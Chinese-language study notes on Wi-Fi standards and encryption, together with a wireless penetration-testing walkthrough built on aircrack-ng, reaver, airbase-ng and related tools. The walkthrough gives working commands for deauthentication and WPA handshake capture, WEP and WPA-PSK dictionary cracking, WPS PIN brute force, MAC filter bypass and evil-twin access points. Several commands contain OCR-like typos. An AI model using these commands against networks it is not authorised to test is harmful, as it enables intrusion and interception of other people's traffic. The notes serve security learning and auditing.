常用的WLAN标准如下:
802.11 - The original WLAN standard 802.11a- Up to 54 Mbit/s on 5 GHz 802.11b- 5.5 Mbit/s and 11 Mbit/s on 2.4 GHz 802.11g- Up to 54 Mbit/s on 2.4 GHz. Backward compatible with 802.11b 802.11i- Provides enhanced security 802.11n - Provides higher throughput with Multiple Input/Multiple Output (MIMO)
信号干扰问题:
2.4GHz band (2. 4GHz - 2.485GHz),它拥有11-14个重叠的信道channels,每个信道22MHz带宽,只有三个完全不重叠的信道,所以多个2.4g信号会发送干扰
SSID:
Service Set ldentifier (SSID) AP每秒钟约10次通过Beacon帧广播SSID 客户端连接到无线网络后也会宣告SSID
MONITOR MODE
Monitor不是一种真的无线模式,但是对无线渗透至关重要,它允许无线网卡没有任何筛选的抓包(802.11包头),与有线网络的混杂模式可以类比,适合的网卡和驱动不但可以monitor,更可以Injection
无线网卡配置 1 2 3 4 5 6 7 8 9 扫描附近AP: iw dev wlan2 scan| grep SSID iw dev wlan2 scan| egrep "DS\ Parameter\ set|SSID" iwlist wlan2 scanning | egrep "ESSID↓Channel" 添加删除侦听端口: iw dev wlan2 interface add wlan2mon type monitor tcpdump -S 0 -i wlan2mon -P iw dev wlan2mon interface del
协议 DADIOTAP头 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 802.1帧发射和接收的事实标准,802.11依赖Radiotap完成通信过程 Linux系统在驱动和API中内建支持Radiotap 802.11帧发射之前,网卡驱动在802.11头前面添加Radiotap头,反之当网卡接收到 无线帧时,驱动通知MAC层,此帧头包含Radiotap头 Radiotap为802.11帧传递额外信息,厂家可自定义,因此头长度不固定 不破坏原始头结构,增加传递的信息 组成: 分为Header和data Version (8bit ) 值始终为0 Pad (8bit) 未使用,只作为字段强制对其的占位; Length (16bit) 整个radiotap头长度(可变),作用是确定802.11头的开始位置 Present (32bit) Data段的掩码 Ext (1、0) MAC不能理解的头部直接忽略
BEACON FRAMES 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 AP发送的广播帧,通告无线网络的存在(BSSID ) 发包频率 102.4 ms (可变) 时间单位1024 ms (60 秒) SSID网络名 隐藏AP不发SSID广播 IBSSI Status 0 : infrastructure 1 : ad-hoc Privicy WEP、WPA ESSID 名称、长度 速率 802.11 g (1 -54 Mbit ) 信道 11
DATA FRAMES 1 2 3 4 5 6 传输用户数据 DATA Frame 空数据帧 Null data frame 只包含MAC头和FCS STA用于声明自己将要进入省电模式
连接无线网络完整过程 1 2 3 4 5 6 7 8 9 10 11 Probe STA向所有信道发出probe帧,发现AP AP 应道Response Authentication STA向AP 发出验证请求 发生认证过程(步骤可变) AP 响应STA的认证结果 Association STA发出关联请求 AP 响应关联请求 关联成功,开始通信
WEP探测过程 1 2 3 Beacon标识使用WEP加密 STA发送普通Probe帧 AP响应Probe Response帧声明其采用WEP加密
WPA探测过程 1 2 3 两个AP的Beacon包内容不同,但都声明采用了WPA加密 不同厂商对802.11 标准的实现方式不同 包头包含WPA1字段信息
WEP OPEN认证 1 2 3 4 5 6 7 8 WEP Open认证与open认证通信过程相同 正确认证后通信数据被WEP加密 如果认证时客户端输入错误密码 认证依然可以通过 AP将丢弃该STA的数据包 起始向量被错误地密钥解密后完整性被破坏 但数据传输将失败 认证响应正确,身份验证成功
WEP PSK认证过程 1 2 3 4 5 6 7 8 STA发认证请求 AP 返回随机Challenge消息STA使用PSK加密Cha并发回给AP AP 使用PSK解密密文,获得Cha并与原始Cha比对,相同则验证成功, 不同则验证失败; 大部分无线驱动首先尝试open 验证,如失败则尝试PSK
加密协议 1 2 3 4 5 6 7 8 9 无线安全根源 802.11 基于无线电波发射信息 嗅探侦听是主要问题 加密机制是必须手段 Wired Equivalent Privacy (WEP) 802.11 标准的一部分 发布后不久被发现存在安全漏洞 WI-Fi Protected Access (WPA)取代WEP WPA2 (802.11 i标准)
OPEN无加密网络 1 2 3 无任何加密机制 所有数据都可以被嗅探 STA和AP 只协商拼配参数即可连入网络
WEP加密算法 1 2 3 4 5 6 7 使用Rivest Cipher 4 (RC4)算法加密流量内容,实现机密性 CRC32算法检查数据完整性 标准采用使用24 位initialization vector (IV) 受美国加密技术出C限制法律的要求: 高于64 bit key 禁止出口 所以除24 bit IV之外真实的key 只有40 bit的版本被允许出口 出口限制法律撤销后实现了128 bit key 的WEP版本(使用相同的24 bit IV)
RC4算法 1 2 3 4 5 6 7 8 9 RSA实验室研发的对称加密-流算法: 实现简单 速度快 加密:对明文流和密钥流进行XOR 计算 解密:对密文流和密钥流进行XOR 计算 RC4算法key 由两个过程生成: 合并IV(起始向量)和PSK(共享密钥),利用Key Scheduling Algorithm (KSA)算法生成起始状态表 Pseudo -Random Generation Algorithm (PRGA)算法生成最终密钥流
WPA安全系统 1 2 3 4 5 6 7 8 9 Wi-Fi Protected Access 802.11 i组为提高无线安全,开发两个新的链路层加密协议 Temporal Key Integrity Protocol (TKIP) WPA1 (较之WEP可动态改变密钥) Counter Mode with CBC-MAC (CCMP) WPA2 WPA加密两种安全类型 WPA个人:使用预设共享密钥实现身份验证 WPA企业:使用802 . 1 X和Radius服务器实现AAA
WPA1 1 2 3 4 5 6 7 8 9 802.11 i第三版草案与WEP比较: 都采用逐包进行密钥加密 128 位的key 和48 位的初向量(IV) RC4流加密数据 帧计数器避免重放攻击 TKIP使用Michael算法进行完整性校验(MIC ) WEP CRC32 兼容早期版本硬件
WPA2 1 2 3 4 5 依据802.11i完全重新设计实现 也被称为Robust Security Network (RSN) CCMP替代TKIP AES加密算法取代了RC4 不兼容早期版本硬件
WPA企业连接过程 1 2 3 4 协商安全协议 身份认证 密钥分发和验证 数据加密完整性
WPA-PSK 密钥交换 1 2 3 4 5 6 7 8 9 WPA四步握手过程生成PTK: AP 发送Anonce给STA STA生成Snonce计算出PTK Snonce加PTK的MIC发给AP AP 拿到Snonce计算出PTK AP 计算MIC与接收的MIC比对 MIC一致说明确定STA知道PMK AP 发GTK给STA STA回复ACK并使用密钥加密
无线渗透测试 AIRCRACK-NG基础 无线渗透和审计神器,包含各种功能的工具套件,支持: 网络检测 嗅探抓包 包注入 密码破解
1 2 3 4 5 6 airmon-ng check #检测是否存在冲突 airmon check kill #杀掉冲突进程 airmon start wlan2 3 #开启网卡监听模式,工作在3信道 iwlist wlan2mon channel #查看工作信道 airmon stop wlan2mon #关闭监听监听模式
AIRODUMP-NG 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 无线抓包 airodump-ng wlan2mon #在所有信道进行轮询监听数据包 airodump wlan2mon -C 1 --bssid 00:1 1:22:33:44:55 -W file.cap # 抓取指定信道、指定AP的数据包,并保存到文件中 aireplay -9 wlan2mon airreplay 参数说明: BSSID: AP的MAC地址 PWR:网卡接收到的信号强度,距离越近信号越强 -1:驱动不支持信号强度、STA距离超出信号接受范围 RXQ:最近10秒成功接收的数据帧的百分比(数据帧、管理帧),只有在固定信道 时才会出现, Beacons:接收到此AP发送的beacon帧数量 #Data:抓到的数据帧数量(WEP表示|IV数量) ,包含广播数据帧 #/s:最近10秒内,每秒平均抓到的帧的数量 CH:信道号(从beacon帧中获得),信道重叠时可能发现其他信道 MB: AP支持的最大速率 ENC:采用的无线安全技术WEP、WPA、WPA2、OPEN CIPHER:采用的加密套件CCMP、TKIP、 WEP40、WEP104 AUTH:身份认证方法MGT、PSK、 SKA、OPEN ESSID:无线网络名称,隐藏AP此值可能为空,airodump从probe和 association request帧中发现隐藏AP STATION: STA的MAC地址 Lost:通过sequence number判断最近10秒STA发送丢失的数据包数量(管 理帧、数据帧) 干扰、距离 发包不能收、收包不能发 Packets: STA发送的数据包数量 Probes: STA探测的ESSID
AIRPLAY-NG 1 2 3 4 5 6 7 8 9 10 11 12 产生或者加速无线通信流量 向无线网络中注入数据包 伪造身份验证 强制重新身份验证 抓包重放 用于后续WEP和WPA密码破解 支持10种包注入 获取包的两种途径 指定接口(-i) 抓包文件pcap (-r) 使用: aireplay-ng <options> <interface name>
Filter Options
AIREPLAY-NG排错 1 2 3 4 5 6 7 8 Aireplay- ng命令挂起没有任何输出 无线网卡与AP 工作在不同信道 报错“write failed: Cannot allocate memory wi_ write(): llegal seek" 无线网卡使用Broadcom芯片(bcm43xx) ,替换为b43驱动可解决 可注入但速度很慢,并提示内核消息“rtc: lost some interrupts at 1024Hz" 没有修正方法,此时可以启动多个aireplay-ng命令提高速度 使用-h 参数指定注入MAC 地址与网卡MAC 地址不一致报错 建议保持一致(macchange),先修改MAC
AIREPLAY-NG包注入测试 1 2 3 4 5 6 7 8 9 10 11 12 检测网卡是否可以注入包 检测AP的响应时间 回包率反应链路质量 如果有两个无线网卡,可以检测具体可以注入哪种攻击 基本测试检测AP对probe广播的响应 向每AP发30包 网卡成功发送并可接收包的能力 基本测试 aireplay -9 wlan2mon 向隐藏AP/指定SSID注入 aireplay-ng -9 -e leven -a EC:26:CA:FA:02:DC wlan2mon
MAC地址绑定攻击 1 2 3 4 5 6 7 管理员误以为MAC 绑定是一种安全机制 限制可以关联的客户端MAC 地址 准备AP AP 基本配置 Open 认证 开启无线过滤 修改MAC 地址绕过过滤
WEP攻击 1 2 3 4 5 6 WEP密码破解原理 IV并非完全随机 每224 个包可能出现一次IV重用 收集大量IV之后找出相同IV及其对应密文,分析得出共享密码 回包中包含IV IV足够多的情况下,任何复杂程度的wep密码都可以被破解
WEP共享密钥破解 1 2 3 4 5 6 7 8 9 10 11 12 13 14 启动monitor模式 启动抓包并保存抓包 Deauthentication抓取XOR文件 利用XOR文件与AP建立关联: aireplay-ng -1 60 -e kifi -y xxxx.xor -a ap的mac -h 我的mac 执行重放攻击(replay) Deauthentication 使得已经连接的双方断开重连,触发数据包 收集足够DATA之后破解密码 Airdump-ng data 查看抓到多少IV值 官方建议值: 64bit密钥:25万 128bit密钥:150万 使用aircrack-ng xxx.cap破解密码
WPA PSK攻击 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 只有一种密码破解方法: WPA不存在WEP的弱点 只能暴力破解: CPU 资源 时间 字典质量: 网上共享的字典 泄露密码 地区电话号码段 Crunch生成字典 Kali中自带的字典文件 PSK破解过程: 启动monitor 开始抓包并保存 Deauthentication攻击(解除认证攻击)获取4 步握手信息 使用字典暴力破解
首先嗅探指定MAC与AP之间的通信,保存cap文件
1 sudo airodump-ng wlan0mon --bssid C0:A5:DD:9D:BA:2E -c 11 -w wpa
在新的窗口对目标连接进行Deauthentication攻击,从而获取四次握手信息
1 sudo aireplay-ng -0 2 -a C0:A5:DD:9D:BA:2E -c 9C:28:F7:91:47:6E wlan0mon
尝试用kali自带的字典rockyou.txt破解密码,字典可以自行选择合适的
1 sudo aircrack-ng -w rockyou.txt /home/tosang/wpa-01.cap
AIROLIB破解密码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 设计用于存储ESSID和密码列表(本质上就是先计算再使用) 计算生成不变的PMK (计算资源消耗型) PMK在破解阶段被用于计算PTK (速度快,计算资源要求少) 通过完整性:摘要值破解密码 SQLite3数据库存储数据 echo kifi > essid.txt #保存SSID airolib-ng db --import essid essid.txt #导入数据库 airolib-ng db --stats #查看数据库 airolib-ng db --import passwd <wordlist> #导入字典 自动剔除不合格的WPA字典 airolib-ng db --batch #计算hash密钥 生成PMK aircrack-ng -r db wpa.cap #使用计算好的数据库去破解
JTR密码破解 1 2 3 4 5 6 7 8 John the ripper 快速的密码破解软件 支持基于规则扩展密码字典 很多人喜欢用手机号码做无线密码 获取号段并利用JTR规则增加最后厂1 位的数字 配置文件/etc/john/john.conf [List.Rules:Wordlist] $[0 -9 ]$[0 -9 ]$[0 -9 ]
WPS 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 WPS是WiFi联盟2006年开发的一项技术 通过PIN码来简化无线接入的操作,无需记住PSK 路由器和网卡各按一个按钮就能接入无线 PIN码是分为前后各4位的2段共8位数字 安全漏洞 2011年被发现安全涉及漏洞 接入发起方可以根据路由器的返回信息判断前4位是否正确 而PIN码的后4位只有1000种定义的组合(最后一位是checksum) 所以全部穷举破解只需要1 1000次尝试 PSK: 218,340, 105,584,896 标准本身没有设计锁定机制,目前多个厂商已实现锁定机制 启动侦听模式后,发现支持WPS的AP wash -C - wlan0mon airodump-ng wlanOmon --wps 爆破PIN码 reaver - wlan0mon -b <AP mac> -VV 秒破PIN码 reaver wlan0mon -b <AP mac> -vv-K 1 pixiewps 只适用于固定厂商的芯片,成功率很低 reaver -i wlanOmon -b <AP mac> -Vv -P 88888888
查看周围AP的wps信息
wifite wifite是一款开箱即用的工具,无需使用各种命令
伪造无线AP 1 2 3 4 5 6 7 8 9 10 11 airbase-ng -a <AP mac> --essid “kifi" -C 11 wlan2mon # 伪造一个开放AP apt-get install bridge -utils # 安装网桥工具 brctl addbr bridge brctl addif Wifi Bridge ethO brctl addif Wifi- Bridge atO ifconfig ethO 0.0.0.0 up ifconfig atO 0.0.0.0 up ifconfig bridge 192. 168.1.10 up route add -net 0.0.0.0 netmask 0.0.0.0 gw 192.168.1.1
3vilTwinAttacker 一款图形化AP伪造工具
1 2 3 4 5 安装教程如下: $ git clone https://github.com/P0cL4bs/3vilTwinAttacker.git $ cd 3vilTwinAttacker $ sudo chmod +x installer.sh $ sudo ./installer.sh --install
AIRDECAP-NG进行数据解密 1 2 3 4 5 6 7 8 去除802.1 1头 airdecap-ng -b <AP MAC> 1 .pcap 解密WEP加密数据 airdecap-ng -W <WEP key>-b <AP MAC> 1 .pcap 必须与AP建立关联关系 解密WPA加密数据 airdecap-ng -e kifi -p <PSK> -b <AP MAC> 1 .pcap 抓包文件中必须包含4步握手信息,否则无解
首先对我的ap进行抓包,使用wireshake查看如下
可以看到,上面数据包的Data字段是加密数据(均是802.11报头),无法直接查看。下面使用airdecap-ng进行解密(我的密码已经打码)
再次使用wireshake查看,已经是tcp/IP报头
AIRSERV-NG AIRSERV-NG可以对AP联网远程操作
1 2 3 4 5 6 7 8 通过网络提供无线网卡服务器 某些网卡不支持客户端/服务器模式 启动无线侦听 服务器端 airserv-ng -P 3333 -d wlan2mon 客户端 airodump-ng 远程ip:3333 某些防火墙会影响C / S间的通信
AIRTUN-NG进行入侵检测 Airtun-NG是一个虚拟隧道接口创建工具,可以监视所有加密流量以实现wIDS
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 无线入侵检测wIDS 无线密码和BSSID 需要获取握手信息 中继和重放 Repeate / Replay wIDS WEP: airtun-ng -a <AP MAC> -W SKA wlan2mon WPA: airtun-ng -a <AP MAC> -p PSK te kifi wlan2mon #开启后使用wireshake监听at0可以实时抓取所有包 #也可以启用disniff、driftnet等嗅探工具对at0进行木马嗅探 ifconfig atO up(先开启后前面的命令才会生效) 四步握手 理论_上支持多AP的wlDS,但2个AP以上时可靠性会下降 WPA: airtun-ng -a <AP MAC> -p PSK -e kif1 wlan2mon ifconfig at1 up 多AP不同信道时airodump -C 1,11 wlan2mon